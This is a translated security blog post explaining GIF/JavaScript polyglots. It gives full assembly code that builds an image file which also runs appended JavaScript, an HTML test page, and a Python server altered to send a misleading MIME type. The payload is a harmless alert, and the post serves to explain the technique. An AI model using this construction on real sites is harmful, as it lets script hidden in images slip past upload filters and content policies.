GIF/Javascript Polyglots :滥用GIF、tag和MIME类型成灾


本文为《GIF/Javascript Polyglots: Abusing GIFs, tags and MIME types for evil》的翻译文章。

前言

最近,我注意到个正在接管的项目的一个功能,这个功能就是它允许热连接到任意gif图片上并且不用通过把gif导入、修改、保存下来就可以实现为我们所用的目的。既然这个功能如此方便,我猜,它可能并不安全,于是马上就想利用它找些可以导致漏洞方法来测试。最简单也是最明显的方法就是先链接到一张普通图片上,过一会再换成另外一个看上去更平淡无奇的图片。这简直是小儿科哈,是不是?那我们就来搞点事情。这里先剧透下:我确实真的搞事了,但是没想到会搞得那么大动静以至于让它变得“大规模杀伤化”了。

在证明了我可以很容易地从我控制的服务器上交换图像之后,我开始寻找能将可执行文件嵌入到图片中的办法,于是偶然间,我发现了利用polyglots达到目的的方法。关于这点中的polyglot,它是一段允许两种或两种语言以上显示的代码。本文的测试用例中,我们用到的是gif/javascript polyglot。

漏洞挖掘

像往常一样,我一般先去Google上搜下看有没有什么相关结果,或者上IRC问问。我有种预感,之前肯定有人做过这样的测试,所以我就去找相关论文或博文、帖子或者任何引导我发现这方面知识点的文章,很快,我就找到了一些既阐述了攻击原理又讲解了如何构造恶意gif文件的资源。

整个攻击里面最基础部分的实现思路就是用汇编语言写个自动创建gif文件的程序,在gif中填入需要的文件头和文件域信息。通过将宽度设置为10799,这个值原本在ASCII中是个无效码,但是当gif被解析成脚本文件的时候,它被转换后解析成‘/*’ASCII码,也就是javascript注释的开头。当gif被解析成img文件时,浏览器只是将图片渲染的很宽。gif文件内容和文件域就包含在js注释的开头和结尾之间,同时注释在gif文件末尾处就闭合了;而用同样的思路,把要执行的js代码添加到gif文件末尾,这样就可以在gif被解析成脚本的时候执行代码了。下面是我写的自动生成这样的gif代码:(不过本文中参考文献部分,我放了个这个代码的下载链接。)

; a hand-made GIF containing valid JavaScript code
; abusing header to start a JavaScript comment
; inspired by Saumil Shah's Deadly Pixels presentation
; Ange Albertini, BSD Licence 2013
; yamal gifjs.asm -o img.gif

WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment
HEIGTH equ 100 ; just to make it easier to spot

db 'GIF89a'
    dw WIDTH, HEIGTH

db 0 ; GCT
    db -1 ;  background color
    db 0 ; default aspect ratio
    ;db 0fch, 0feh, 0fch
    ;times COLORS db 0, 0, 0

; no need of Graphic Control Extension
 ; db 21h, 0f9h
 ; db GCESIZE ; size
 ; gce_start:
 ;     db 0 ; transparent background
 ;     dw 0 ; delay for anim
 ;     db 0 ; other transparent
 ; GCESIZE equ $ - gce_start
 ;     db 0 ; end of GCE

db 02ch ; Image descriptor
    dw 0, 0 ; NW corner
    dw WIDTH, HEIGTH ; w/h of image
    db 0    ; color table

db 2 ; lzw size

;db DATASIZE
;data_start:
;    db 00, 01, 04, 04
;    DATASIZE equ $ - data_start

db 0
db 3bh ; GIF terminator

; end of the GIF
db '*/'  ; closing the comment
db '=1;' ; creating a fake use of that GIF89a string

db 'alert("haxx");'

正如你所看到的,我们在文件末尾就闭合了代码注释、加入了自己的js代码。gif被解析成脚本的时候,解析器会跳过所有和gif相关的部分,仅仅会文件尾处排查下js。

漏洞演示

由于当时我脑袋短路了,再加上对产品操作手册上的错误理解,这导致我错误地认为手册上推荐的编译器yasm只能运行在windows上。我把代码丢到yasm编译器和c++编译器上分别运行了很久却还是运行不了之后,这时候我才发现我居然可以直接取源码然后放在自己主机里面运行!这简直太好了!于是现在要运行编译这段代码就是小菜一碟了:

$ yasm ./gifjs.asm -o img.gif

漏洞恶意代码执行与EXP

然而不幸地是,写到这个部分,整个事情就发展得让人感到有些悲哀了。为了让它真正发挥出作用,我不得不让代码在某种人为介入的情况下运行,虽然实际上这种可能微乎其微,可是实际情况中也不太可能这么发生(在我看来是这样的),也正因如此,代码要执行的话就要有下面的两条先决条件:

  1. GIF文件必须用<script>标记后再解析,而不是用<img>标记。
  2. 必须送误导性的MIME类型。

由此,这两个条件意味着你不大可能在未授权或未受控制的服务器上找得到可以利用的部分,所以最好使用手头上已经控制的服务器,设置上述exp环境条件。

为了执行代码,我写了如下的一小段HTML代码:

This is a test
<img src="img.gif">
<script src="img.gif"></script>

从上可知,上述代码只能可以测试下是否有这个漏洞:将嵌入恶意代码的gif文件解析后显示为图像,然后再将其作为脚本显示。如果你打开浏览器时,界面跳转到本地文件系统中对应的文件去(比如,这里是/tmp/test.html),gif就会弹出警告窗口。这样看来是不是就有点意思了?

现在尝试把它上传到图像托管网站,比如Imgur,从网站上链接出去,你就会发现些有趣的事情了。但是又可能什么也不会出现。如果你尝试运行在HTML之上,但直接把链接到imgur的.gif文件上,浏览器的控制台上可能会报错,报错内容如下:

Refused to execute script from 'https://i.imgur.com/IXGn93f.gif' because its MIME type ('image/gif') is not executable.

那么看到这里,问题回来了,什么是MIME类型呢?

MIME类型实际上并不比拥有可传参数据的内部属性的标签更加复杂,这些标签通过属性上的数据传输来告诉接收端它接收到的是什么样类型的数据。这使得客户端明白它将如何处理这些数据,告诉客户端,“这只是一个标签而已,而且它是可信任基础上创建的”。既然可信任,而人们通常利用可信任的一系列事务搞事情。好了,现在我们说回到日常习惯安排好的编程上。

我们回到要说的第2点:发送一种误导性的MIME类型来说服浏览器执行你的文件。我们已经知道Imgur不会允许我们这么做,可是我们怎么绕过它实现呢?就我而言,我写了段简单的python脚本:

import SimpleHTTPServer
import SocketServer

PORT = 8000

class Handler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    pass

#.gif扩展
Handler.extensions_map['.gif'] = 'application/octet-stream'
httpd = SocketServer.TCPServer(("", PORT), Handler)

print "serving at port", PORT
httpd.serve_forever()

上述代码用了SimpleHTTPServer(Python标准库中有)获取并提供本地目录下的文件目录。默认情况下,SimpleHTTPServer会尝试根据使用的扩展来提供相应且恰当的MIME类型,所以这里我们要稍微修改下让它:把.gif的扩展解析成浏览器会执行的application/octect-stream/格式。如果我给该html文件命名为index.html,我就可以通过点击http://127.0.0.1:8000/index.html来获取用浏览器可执行的MIME类型构造出恶意gif文件的服务响应。结果嘛肯定是,我们成功地把js加入到成gif里了。

结语

总体上说,它并不是一种新出现的或者是新奇的攻击方式,而且我也不认为这个漏洞将会广为流传。但是这个方法相当的有技巧性,暴露了几个因此会导致漏洞的可信任方面。

本篇文章主要的要点总结列举如下:

  1. 浏览器确定文件类型时基本上不会根据之前对此文件的类型记录,判定当前文件的类型 *。充其量,他们会查看扩展和魔术字节来尝试确认下该文件是否为它所声称的文件类型。
  2. 因为提供的是gif文件和JS代码块的有效位,所以浏览器要用以前的记录判定类型,对之前文件信息的记录要比现在记录的详细的多,提供更多的信息才行。
  3. 浏览器也许有点过于信任MIME类型了。
  4. 此攻击漏洞很容易就被利用了,并且很难从你所掌控的站点上检测出来,因为用户无法查看正在运行的js。这之后他们也许会看到某个.js的文件正在执行,可是并不能获取到文件,查看文件的内容。因此,这种方法的混淆程度已经达到了3/10。

* 译者注:原文直译为“浏览器确认文件类型时候对实际启发式法(actual heuristics)没有太大作用”,根据实际启发式法的定义为“基于之前的经验去对新事物进行探测”,这里为便于理解,就直接将其含义扩展翻译出来。

总之,这次挖掘的漏洞有意思,挖掘地很开心,而且用起来还简单方便~。

参考文献

https://ajinabraham.com/blog/bypassing-content-security-policy-with-a-jsgif-polyglot

https://gist.githubusercontent.com/ajinabraham/f2a057fb1930f94886a3

http://blog.portswigger.net/2016/12/bypassing-csp-using-polyglot-jpegs.html

源链接

Hacking more

...